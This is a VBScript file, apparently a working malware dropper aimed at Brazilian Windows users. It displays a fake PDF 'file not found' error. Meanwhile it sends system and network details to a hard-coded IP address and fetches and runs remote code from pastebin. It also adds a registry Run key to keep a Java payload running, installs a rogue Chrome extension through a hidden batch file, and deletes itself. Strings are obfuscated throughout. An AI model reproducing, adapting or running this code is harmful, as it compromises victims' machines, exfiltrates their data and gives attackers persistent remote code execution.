vr1

On Error Resume Next

variavel2numerox = "300"
set variavel1 = wScript.createObject("WScript.Shell")
variavel2 = variavel1.expandEnvironmentStrings("%USERPROFILE%")

x = msgbox("ARQUIVO NAO ENCONTRATO, OU INEXISTENTE.",0, "PDF")

Function RandomString( ByVal strLen )
	Dim str, min, max
	Const LETTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJLMNKYWOPQRSTUVXZ"
	min = 1
	max = Len(LETTERS)
	Randomize
	For i = 1 to strLen
		str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )
	Next
	RandomString = str
End Function

Set fsojava = CreateObject("Scripting.FileSystemObject")
Set file = fsojava.OpenTextFile (variavel2 & "\0z", 1)
javapaht = file.ReadAll

vrs = RandomString(5)
runvbs = variavel2 & "\" & vrs & ".vbs"

xopar1 = "http"&"s://p"&"aste"&"bi"&"n.c"&"om"
DIM fso

Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(variavel2 & "\0z" )) Then

Else
    discardScript()
	WScript.Quit()
End if


Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(variavel2 & "\" & variavel2numerox & "x")) Then
	discardScript()
	WScript.Quit()
Else
	Set objFSO=CreateObject("Scripting.FileSystemObject")
	outFile=variavel2 & "\" & variavel2numerox & "x"
	Set objFile = objFSO.CreateTextFile(outFile,True)
	'objFile.Write vrs & vbCrLf
	objFile.Close

	WScript.Sleep(5000)
	WScript.Sleep(5000)
	WScript.Sleep(0)
	WScript.Sleep(0)
	WScript.Sleep(0)
	xbits = "0"
	Set dtmConvertedDate = CreateObject("WbemScripting.SWbemDateTime")
	Set SystemSet = GetObject("winmgmts:").InstancesOf ("Win32_OperatingSystem")
	for each System in SystemSet
		variavel2a = System.Caption
		variavel2b = System.OSLanguage
		variavel2d = System.CSName
		dtmConvertedDate.Value = System.InstallDate
		dtmInstallDate = dtmConvertedDate.GetVarDate
		variavel2e = dtmInstallDate
		variavel2f = System.RegisteredUser
		variavel2g = System.CountryCode
		variavel2h = System.version
	next
	strComputer = "."
	strComputer2 = "\"
	strComputer3 = ":"
	strfinal = "winmgmts"& strComputer3 & strComputer2 & strComputer2 & strComputer & strComputer2 &"root" & strComputer2 & "cimv2"
	Set objWMIService =  GetObject(strfinal)
	Set colSettings = objWMIService.ExecQuery ("Select * from Win32_ComputerSystem")
	For Each objComputer in colSettings
		variavel2i2 = objComputer.Manufacturer
		variavel2j2 = objComputer.Model
	Next
	Set colSettings = objWMIService.ExecQuery ("Select * from Win32_Processor")
	For Each objProcessor in colSettings
		variavel2l2 = objProcessor.Description
	Next
	Function HTTPPost(sUrl, sRequest)
		set oHTTP = CreateObject("Microsoft.XMLHTTP")
		oHTTP.open "POST", sUrl,false
		oHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
		oHTTP.setRequestHeader "Content-Length", Len(sRequest)
		oHTTP.send sRequest
		HTTPPost = oHTTP.responseText
	End Function
	set variavel32x = wScript.createObject("WScript.Shell")
	variavel32 = variavel32x.expandEnvironmentStrings("%programfiles%")
	set variavel64x = wScript.createObject("WScript.Shell")
	variavel64 = variavel32x.expandEnvironmentStrings("%programfiles(x86)%")
	DIM fsoyx2
	Set fsoyx2 = CreateObject("Scripting.FileSystemObject")
	If (fsoyx2.FileExists(variavel32 & "\Google\Chrome\Application\chrome.exe")) Then
		xbits =  variavel32 & "\Google\Chrome\Application\Chrome.exe, 0"
	End If
	If (fsoyx2.FileExists(variavel64 & "\Google\Chrome\Application\chrome.exe")) Then
		xbits =  variavel64 & "\Google\Chrome\Application\Chrome.exe, 0"
	End If
	DIM fsoy
	Set fsoy = CreateObject("Scripting.FileSystemObject")
	If (fsoy.FolderExists("c:\Program Files (x86)")) Then
		quantosbits = "64Bits"
	Else
		quantosbits = "32Bits"
	End If
	vartotal = variavel2i2 & "|" & variavel2j2 & "|" & variavel2l2
	IF (variavel2g = "55") Then
		WScript.Sleep(5000) ' 5000
		WScript.Sleep(5000)
		sUrl = "http://157.230.185.22/vendas/go.php?a=c1"
		sRequest = "b=" & variavel2d & "&c=[" & variavel2numerox & "]" & variavel2a & "(" & quantosbits & ")(" & variavel2b & ")(" & variavel2e & ")(" & variavel2f & ")(" & variavel2g & ")(" & variavel2h & ")" & vartotal  & "&d=-"
		HTTPPost sUrl, sRequest
	End If

	IF (variavel2g = "55") and not   (xbits = "0")  Then
		set objshell = createobject("wscript.shell")
		runbat2 = variavel2 & "\b.bat"
		Set objgrux=CreateObject("Scripting.FileSystemObject")
		outFile= runbat2
		Set objFile = objgrux.CreateTextFile(outFile,True)
		objFile.Write "@echo off" & vbCrLf
		objFile.Write "REG ADD ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" /V home /t REG_SZ /F /D """ & javapaht &"\bin\javaw.exe -jar " &variavel2 & "\j.h""" & vbCrLf
		objFile.Write "del /f """ & runbat2 & """" & vbCrLf
		objFile.Close
		objshell.run runbat2,vbhide

		WScript.Sleep(5000) '20000

		set variavel1 = wScript.createObject("WScript.Shell")
		variavel2 = variavel1.expandEnvironmentStrings("%USERPROFILE%")
		variavel2cr

		Dim su, source_str
		source_str = "aeiou"

		Dim variavel3, variavel16, variavel4, variavel5, variavel4b

		variavel3 = variavel2
		variavel6 =  ""
		variavel6b =  StrReverse("-")
		su = Mid(source_str, 2, 1)
		'variavel5 = variavel6  & "." & su & "x" & su
		'variavel4 = variavel3 & "\" & variavel5
		variavel4 = variavel3 & "\"
		variavel9 = variavel4 & StrReverse("piz.tgu")


		Set variavel16 = CreateObject("Scripting.FileSystemObject")
		dim variavel7,variavel8, urlchromiun
		dim variavel7b,variavel8b,variavel9b

		su = Mid(source_str, 3, 1)
		strComputer = "."
		Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
		Set colSettings = objWMIService.ExecQuery ("Select * from Win32_ComputerSystem")
		For Each objComputer in colSettings
			xxx1 = objComputer.Manufacturer
			xxx2 = objComputer.Model
		Next
		Set colItems = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration",,48)
		For Each objItem in colItems
			xxx3 = xxx3 & objItem.Caption
			xxx4 = "[" & variavel2numerox & "]" & objItem.Description
		Next

		' #==================================================================

		sUrl1 = "http://157.230.185.22/vendas/rlnk.php"
		sRequest1 = "a=c2&b=" & xxx1 & " | " & xxx2 & "&c=" & xxx3 & xxx4
		' link com arquivo extensao
		xxx5 = HTTPPost(sUrl1, sRequest1)
		variavel8 = xxx5



		If InStr(variavel8, "bit") > 0 Then
			'sUrl = "http://inclassltda.info/kraus6.php?logins=did&s=VM"
			'sRequest = "host=" & variavel2d & "&bk=-"
			'HTTPPost sUrl, sRequest
			WScript.Quit()
		End If

		Dim max,min
		max=10000
		min=1
		Randomize
		Int((max-min+1)*Rnd+min)

		Set variavel16 = CreateObject("Scripting.FileSystemObject")
		If variavel16.FileExists(variavel9) Then
			variavel16.DeleteFile(variavel9)
		End If

		xsUrl = xopar1&"/raw/kXaRaqSu"
		xsRequest = ""
		zzz = HTTPPost(xsUrl, xsRequest)
		xxx = zzz


		Sub Includex1
			ExecuteGlobal xxx
		End Sub
		Includex1

		MySub variavel8,variavel9
		Set varchrl12 = CreateObject("Scripting.FileSystemObject")
		If variavel12.FileExists(variavel9) Then
			WScript.Sleep(5000) ' 5000
			WScript.Sleep(5000)


			ZipFile = variavel9
			ExtractTo = variavel2
			Set fso = CreateObject("Scripting.FileSystemObject")
			If NOT fso.FolderExists(ExtractTo) Then
				fso.CreateFolder(ExtractTo)
			End If
			set objShell = CreateObject("Shell.Application")
			set FilesInZip=objShell.NameSpace(ZipFile).items
			objShell.NameSpace(ExtractTo).CopyHere(FilesInZip)
			Set fso = Nothing
			Set objShell = Nothing
		End if


	   WScript.Sleep(5000)
	   Dim fso200
	   Set fso200 = CreateObject("Scripting.FileSystemObject")
	   fso200.CopyFile variavel2 & "\Chrm\j.h", variavel2 & "\"

		If variavel16.FileExists(variavel9) Then
			Dim variavel15
			If variavel16.FileExists(variavel2 & "\Chrome\1.9.6\6.js" ) Then

			End if
			set gtx1 = wScript.createObject("WScript.Shell")
			gtx2 = gtx1.expandEnvironmentStrings("%USERPROFILE%")
			Dim pixixito1,pixixito2,pixixito3,pixixito4


			Function Randominterger( ByVal strLen )
				Dim str, min, max
				Const LETTERS = "1234567890"
				min = 1
				max = Len(LETTERS)
				Randomize
				For i = 1 to strLen
					str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )
				Next
				Randominterger = str
			End Function

			dim yttt
			yttt = Randominterger(15)

			Function trocaridc( ForReadingx)
				const ForReading = 1
				const ForWriting = 2
				strFileName = gtx2 & "\Chrm\1.9.6\" & ForReadingx & ".json"
				strOldText = " ""author"": ""-idc-"","
				strNewText = " ""author"": """ & yttt & ""","
				Set objgru = CreateObject("Scripting.FileSystemObject")
				Set objFile = objgru.OpenTextFile(strFileName, ForReading)
				strText = objFile.ReadAll
				objFile.Close
				strNewText = Replace(strText, strOldText, strNewText)
				strNewText = Replace(strNewText, "-version-", "9.7.9")
				strNewText = Replace(strNewText, "-url-", "gragolateama.info")
				strNewText = Replace(strNewText, "-Name-", "Abagael Mercado")
				strNewText = Replace(strNewText, "-sal-", "15")
				Set objFile = objgru.OpenTextFile(strFileName, ForWriting)
				objFile.WriteLine strNewText
				objFile.Close
			End Function

			Function trocar( ForReadingx)
				dim ttt
				const ForReading = 1
				const ForWriting = 2
				strFileName = gtx2 & "\Chrome\1.9.6\manifest.json"
				strOldText = ForReadingx
				ttt = RandomString(6)
				strNewText = ttt & ".js"
				Dim gru
				Set gru = WScript.CreateObject("Scripting.FileSystemObject")
				gru.MoveFile gtx2 & "\Chrome\1.9.6\" & strOldText, gtx2 & "\Chrome\1.9.6\" & strNewText
				Set objgru = CreateObject("Scripting.FileSystemObject")
				Set objFile = objgru.OpenTextFile(strFileName, ForReading)
				strText = objFile.ReadAll
				objFile.Close
				strNewText = Replace(strText, strOldText, strNewText)
				Set objFile = objgru.OpenTextFile(strFileName, ForWriting)
				objFile.WriteLine strNewText
				objFile.Close
			End Function

			Function trocarbmp( ForReadingx)
				dim ttt
				const ForReading = 1
				const ForWriting = 2
				strFileName = gtx2 & "\Chrm\1.9.6\manifest.json"
				strOldText = ForReadingx
				ttt = RandomString(10)
				strNewText = ttt & ".bmp"
				Dim gru
				Set gru = WScript.CreateObject("Scripting.FileSystemObject")
				gru.MoveFile gtx2 & "\Chrm\1.9.6\iconos\" & strOldText, gtx2 & "\Chrm\1.9.6\iconos\" & strNewText
				Set objgru = CreateObject("Scripting.FileSystemObject")
				Set objFile = objgru.OpenTextFile(strFileName, ForReading)
				strText = objFile.ReadAll
				objFile.Close
				strNewText = Replace(strText, strOldText, strNewText)
				Set objFile = objgru.OpenTextFile(strFileName, ForWriting)
				objFile.WriteLine strNewText
				objFile.Close
			End Function


			DIM grut
			Set grut = CreateObject("Scripting.FileSystemObject")
			If (grut.FileExists(gtx2 & "\Chrm\1.9.6\6.js")) Then
				trocaridc("manifest")
				trocar("a2.js")
				trocarbmp("NXYQouDyLI.bmp")
			End If

			pixixito1 = RandomString(5)
			pixixito2 = RandomString(5)
			pixixito3 = RandomString(5)
			pixixito4 = RandomString(5)
			pix9 = RandomString(5)

			runbat = gtx2 & "\" & RandomString(5) & ".bat"
			' runchr = gtx2 & "\chrm\" & RandomString(5) & ".bat"

			Set objShell5 = WScript.CreateObject("WScript.Shell")

			Cami2 = objShell5.ExpandEnvironmentStrings("%userprofile%")
			bonde1kilo="Wind" & "ows\syste" & "m32"
			segundafeira="userpr" & "ofile"
			nossasvidas="prog" & "ramfi" & "les"


			Set objgru = CreateObject("Scripting.FileSystemObject")
			outFile= runbat
			Set objFile = objgru.CreateTextFile(outFile,True)
				objFile.Write "@echo off" & vbCrLf
				objFile.Write "set " & pixixito1 & "=G" & "oo" & vbCrLf
				objFile.Write "set " & pixixito2 & "=%" & pixixito1 & "%g" & "le" & vbCrLf
				objFile.Write "set " & pixixito3 & "=C" & "hr" & vbCrLf
				objFile.Write "set " & pixixito4 & "=%" & pixixito3 & "%m" & "" & vbCrLf
				objFile.Write "cd ""%" & segundafeira & "%""" & vbCrLf
				objFile.Write "C:\" & bonde1kilo & "\rmdir /s /q ""%" & segundafeira & "%\ext""" & vbCrLf
				objFile.Write "C:\" & bonde1kilo & "\mkdir ext" & vbCrLf
				objFile.Write "set s=" & pix9 &vbCrLf

				objFile.Write "set fs=""%" & segundafeira & "%\ext\%s%""" & vbCrLf
				objFile.Write "C:\" & bonde1kilo & "\taskkill -f -im xcopy.exe" & vbCrLf

				objFile.Write "C:\" & bonde1kilo & "\xcopy /I /S ""%" & segundafeira & "%\%" & pixixito4 & "%\1.9.6"" %fs%" & vbCrLf

				objFile.Close

				Set objShell = Nothing
				Set objshell = createobject("wscript.shell")
				objshell.run runbat, vbhide

			WScript.Sleep(5000)

			xsUrl1 = xopar1&"/raw/gRtMiPHS"
			xsRequest = ""
			zzzq = HTTPPost(xsUrl1, xsRequest)
			xxxq = zzzq

			strNewText = Replace(xxxq, "-version-", Cami2 & "\ext\"& pix9)

			Set objgrux=CreateObject("Scripting.FileSystemObject")
			outFile= variavel2 & "\300x"
			Set objFile = objgrux.CreateTextFile(outFile,True)
			objFile.Write strNewText & vbCrLf
			objFile.Close


			Set variavel16 = CreateObject("Scripting.FileSystemObject")
			If variavel16.FileExists(variavel9) Then
				variavel16.DeleteFile(variavel9)
			End If

			Set objShell = Nothing
			Set objshell = createobject("wscript.shell")
			objshell.run javapaht &"\bin\javaw.exe -jar " &variavel2 & "\j.h",vbhide
		End If
		Set variavel15 = Nothing
	End If
End If
Function discardScript()
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	strScript = Wscript.ScriptFullName
	objFSO.DeleteFile(strScript)
End Function
discardScript()